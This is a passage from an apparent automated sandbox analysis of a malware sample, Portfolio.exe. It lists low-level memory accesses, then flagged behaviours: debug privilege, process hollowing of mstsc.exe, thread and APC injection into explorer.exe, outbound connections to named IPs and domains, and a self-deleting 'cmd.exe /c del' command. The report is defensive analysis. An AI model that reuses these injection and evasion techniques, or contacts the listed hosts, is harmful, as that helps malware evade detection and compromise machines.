Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0515740D mov eax, dword ptr fs:[00000030h] 14_2_0515740D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0515740D mov eax, dword ptr fs:[00000030h] 14_2_0515740D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0515740D mov eax, dword ptr fs:[00000030h] 14_2_0515740D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106C0A mov eax, dword ptr fs:[00000030h] 14_2_05106C0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106C0A mov eax, dword ptr fs:[00000030h] 14_2_05106C0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106C0A mov eax, dword ptr fs:[00000030h] 14_2_05106C0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106C0A mov eax, dword ptr fs:[00000030h] 14_2_05106C0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509B02A mov eax, dword ptr fs:[00000030h] 14_2_0509B02A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509B02A mov eax, dword ptr fs:[00000030h] 14_2_0509B02A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509B02A mov eax, dword ptr fs:[00000030h] 14_2_0509B02A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509B02A mov eax, dword ptr fs:[00000030h] 14_2_0509B02A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B002D mov eax, dword ptr fs:[00000030h] 14_2_050B002D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B002D mov eax, dword ptr fs:[00000030h] 14_2_050B002D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B002D mov eax, dword ptr fs:[00000030h] 14_2_050B002D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B002D mov eax, dword ptr fs:[00000030h] 14_2_050B002D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B002D mov eax, dword ptr fs:[00000030h] 14_2_050B002D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BBC2C mov eax, dword ptr fs:[00000030h] 14_2_050BBC2C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA44B mov eax, dword ptr fs:[00000030h] 14_2_050BA44B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511C450 mov eax, dword ptr fs:[00000030h] 14_2_0511C450
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511C450 mov eax, dword ptr fs:[00000030h] 14_2_0511C450
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A0050 mov eax, dword ptr fs:[00000030h] 14_2_050A0050
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A0050 mov eax, dword ptr fs:[00000030h] 14_2_050A0050
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05151074 mov eax, dword ptr fs:[00000030h] 14_2_05151074
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05142073 mov eax, dword ptr fs:[00000030h] 14_2_05142073
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A746D mov eax, dword ptr fs:[00000030h] 14_2_050A746D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089080 mov eax, dword ptr fs:[00000030h] 14_2_05089080
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509849B mov eax, dword ptr fs:[00000030h] 14_2_0509849B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05103884 mov eax, dword ptr fs:[00000030h] 14_2_05103884
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05103884 mov eax, dword ptr fs:[00000030h] 14_2_05103884
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C90AF mov eax, dword ptr fs:[00000030h] 14_2_050C90AF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 mov eax, dword ptr fs:[00000030h] 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BF0BF mov ecx, dword ptr fs:[00000030h] 14_2_050BF0BF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BF0BF mov eax, dword ptr fs:[00000030h] 14_2_050BF0BF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BF0BF mov eax, dword ptr fs:[00000030h] 14_2_050BF0BF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov eax, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov ecx, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov eax, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov eax, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov eax, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511B8D0 mov eax, dword ptr fs:[00000030h] 14_2_0511B8D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05158CD6 mov eax, dword ptr fs:[00000030h] 14_2_05158CD6
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106CF0 mov eax, dword ptr fs:[00000030h] 14_2_05106CF0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106CF0 mov eax, dword ptr fs:[00000030h] 14_2_05106CF0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106CF0 mov eax, dword ptr fs:[00000030h] 14_2_05106CF0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050858EC mov eax, dword ptr fs:[00000030h] 14_2_050858EC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051414FB mov eax, dword ptr fs:[00000030h] 14_2_051414FB
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511FF10 mov eax, dword ptr fs:[00000030h] 14_2_0511FF10
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0511FF10 mov eax, dword ptr fs:[00000030h] 14_2_0511FF10
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA70E mov eax, dword ptr fs:[00000030h] 14_2_050BA70E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA70E mov eax, dword ptr fs:[00000030h] 14_2_050BA70E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514131B mov eax, dword ptr fs:[00000030h] 14_2_0514131B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0515070D mov eax, dword ptr fs:[00000030h] 14_2_0515070D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0515070D mov eax, dword ptr fs:[00000030h] 14_2_0515070D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AF716 mov eax, dword ptr fs:[00000030h] 14_2_050AF716
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05084F2E mov eax, dword ptr fs:[00000030h] 14_2_05084F2E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05084F2E mov eax, dword ptr fs:[00000030h] 14_2_05084F2E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BE730 mov eax, dword ptr fs:[00000030h] 14_2_050BE730
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508DB40 mov eax, dword ptr fs:[00000030h] 14_2_0508DB40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509EF40 mov eax, dword ptr fs:[00000030h] 14_2_0509EF40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05158B58 mov eax, dword ptr fs:[00000030h] 14_2_05158B58
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508F358 mov eax, dword ptr fs:[00000030h] 14_2_0508F358
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508DB60 mov ecx, dword ptr fs:[00000030h] 14_2_0508DB60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509FF60 mov eax, dword ptr fs:[00000030h] 14_2_0509FF60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B3B7A mov eax, dword ptr fs:[00000030h] 14_2_050B3B7A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B3B7A mov eax, dword ptr fs:[00000030h] 14_2_050B3B7A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05158F6A mov eax, dword ptr fs:[00000030h] 14_2_05158F6A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107794 mov eax, dword ptr fs:[00000030h] 14_2_05107794
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107794 mov eax, dword ptr fs:[00000030h] 14_2_05107794
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107794 mov eax, dword ptr fs:[00000030h] 14_2_05107794
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05091B8F mov eax, dword ptr fs:[00000030h] 14_2_05091B8F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05091B8F mov eax, dword ptr fs:[00000030h] 14_2_05091B8F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0513D380 mov ecx, dword ptr fs:[00000030h] 14_2_0513D380
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BB390 mov eax, dword ptr fs:[00000030h] 14_2_050BB390
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B2397 mov eax, dword ptr fs:[00000030h] 14_2_050B2397
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05098794 mov eax, dword ptr fs:[00000030h] 14_2_05098794
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514138A mov eax, dword ptr fs:[00000030h] 14_2_0514138A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4BAD mov eax, dword ptr fs:[00000030h] 14_2_050B4BAD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4BAD mov eax, dword ptr fs:[00000030h] 14_2_050B4BAD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4BAD mov eax, dword ptr fs:[00000030h] 14_2_050B4BAD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05155BA5 mov eax, dword ptr fs:[00000030h] 14_2_05155BA5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051053CA mov eax, dword ptr fs:[00000030h] 14_2_051053CA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051053CA mov eax, dword ptr fs:[00000030h] 14_2_051053CA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050ADBE9 mov eax, dword ptr fs:[00000030h] 14_2_050ADBE9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B03E2 mov eax, dword ptr fs:[00000030h] 14_2_050B03E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C37F5 mov eax, dword ptr fs:[00000030h] 14_2_050C37F5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05098A0A mov eax, dword ptr fs:[00000030h] 14_2_05098A0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508C600 mov eax, dword ptr fs:[00000030h] 14_2_0508C600
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508C600 mov eax, dword ptr fs:[00000030h] 14_2_0508C600
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508C600 mov eax, dword ptr fs:[00000030h] 14_2_0508C600
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B8E00 mov eax, dword ptr fs:[00000030h] 14_2_050B8E00
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A3A1C mov eax, dword ptr fs:[00000030h] 14_2_050A3A1C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA61C mov eax, dword ptr fs:[00000030h] 14_2_050BA61C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA61C mov eax, dword ptr fs:[00000030h] 14_2_050BA61C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05085210 mov eax, dword ptr fs:[00000030h] 14_2_05085210
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05085210 mov ecx, dword ptr fs:[00000030h] 14_2_05085210
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05085210 mov eax, dword ptr fs:[00000030h] 14_2_05085210
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05085210 mov eax, dword ptr fs:[00000030h] 14_2_05085210
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141608 mov eax, dword ptr fs:[00000030h] 14_2_05141608
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508AA16 mov eax, dword ptr fs:[00000030h] 14_2_0508AA16
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508AA16 mov eax, dword ptr fs:[00000030h] 14_2_0508AA16
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C4A2C mov eax, dword ptr fs:[00000030h] 14_2_050C4A2C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C4A2C mov eax, dword ptr fs:[00000030h] 14_2_050C4A2C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508E620 mov eax, dword ptr fs:[00000030h] 14_2_0508E620
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0513FE3F mov eax, dword ptr fs:[00000030h] 14_2_0513FE3F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514EA55 mov eax, dword ptr fs:[00000030h] 14_2_0514EA55
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05114257 mov eax, dword ptr fs:[00000030h] 14_2_05114257
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089240 mov eax, dword ptr fs:[00000030h] 14_2_05089240
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089240 mov eax, dword ptr fs:[00000030h] 14_2_05089240
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089240 mov eax, dword ptr fs:[00000030h] 14_2_05089240
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089240 mov eax, dword ptr fs:[00000030h] 14_2_05089240
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05097E41 mov eax, dword ptr fs:[00000030h] 14_2_05097E41
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514AE44 mov eax, dword ptr fs:[00000030h] 14_2_0514AE44
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514AE44 mov eax, dword ptr fs:[00000030h] 14_2_0514AE44
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509766D mov eax, dword ptr fs:[00000030h] 14_2_0509766D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0513B260 mov eax, dword ptr fs:[00000030h] 14_2_0513B260
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0513B260 mov eax, dword ptr fs:[00000030h] 14_2_0513B260
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C927A mov eax, dword ptr fs:[00000030h] 14_2_050C927A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05158A62 mov eax, dword ptr fs:[00000030h] 14_2_05158A62
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AAE73 mov eax, dword ptr fs:[00000030h] 14_2_050AAE73
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AAE73 mov eax, dword ptr fs:[00000030h] 14_2_050AAE73
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AAE73 mov eax, dword ptr fs:[00000030h] 14_2_050AAE73
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AAE73 mov eax, dword ptr fs:[00000030h] 14_2_050AAE73
Enables debug privileges
Source: C:\Users\user\Desktop\Portfolio.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 72.167.241.46 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.timcrozier.com
Source: C:\Windows\explorer.exe Network Connect: 168.206.243.213 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.scaledsales.com
Source: C:\Windows\explorer.exe Domain query: www.fromthepittothepitts.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\Portfolio.exe Memory written: C:\Users\user\Desktop\Portfolio.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\Portfolio.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\Portfolio.exe Thread register set: target process: 3472 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Thread register set: target process: 3472 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\Portfolio.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\Portfolio.exe Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: C70000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Portfolio.exe Process created: C:\Users\user\Desktop\Portfolio.exe C:\Users\user\Desktop\Portfolio.exe Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Portfolio.exe' Jump to behavior
Source: explorer.exe, 00000006.00000000.270667428.0000000005EA0000.00000004.00000001.sdmp, mstsc.exe, 0000000E.00000002.500691219.0000000003910000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.253301402.0000000001640000.00000002.00000001.sdmp, mstsc.exe, 0000000E.00000002.500691219.0000000003910000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.253301402.0000000001640000.00000002.00000001.sdmp, mstsc.exe, 0000000E.00000002.500691219.0000000003910000.00000002.00000001.sdmp Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000006.00000002.496420831.0000000001128000.00000004.00000020.sdmp Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000006.00000000.253301402.0000000001640000.00000002.00000001.sdmp, mstsc.exe, 0000000E.00000002.500691219.0000000003910000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000006.00000000.253301402.0000000001640000.00000002.00000001.sdmp, mstsc.exe, 0000000E.00000002.500691219.0000000003910000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Users\user\Desktop\Portfolio.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
